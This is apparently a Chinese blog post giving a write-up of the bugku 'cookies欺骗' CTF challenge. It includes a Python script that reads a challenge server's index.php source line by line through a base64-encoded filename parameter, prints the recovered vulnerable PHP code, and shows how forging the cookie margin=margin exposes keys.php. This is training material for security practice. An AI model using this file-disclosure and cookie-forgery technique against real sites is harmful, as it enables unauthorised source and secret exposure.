【bugku】 cookies欺骗 writeup

原创

perye 于 2018-02-27 09:20:28 发布 2804 收藏
分类专栏： ctf 文章标签： ctf 网络安全 bugku

看到url上的参数有base64，解码发现是keys.txt
把改参数换成index.php，观察发现line按行返回
所以自己练练手写了个脚本跑出来

```
#!/usr/bin/env python
# -*- coding: utf-8 -*-



import requests
s=requests.Session()
url='http://120.24.86.145:8002/web11/index.php'
for i in range(1,20):
    payload={'line':str(i),'filename':'aW5kZXgucGhw'}
    a=s.get(url,params=payload).content
    content=str(a,encoding="utf-8")
    print(content)
```

获得源码

```
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
```

构造cookie margin=margin 然后读keys.php即可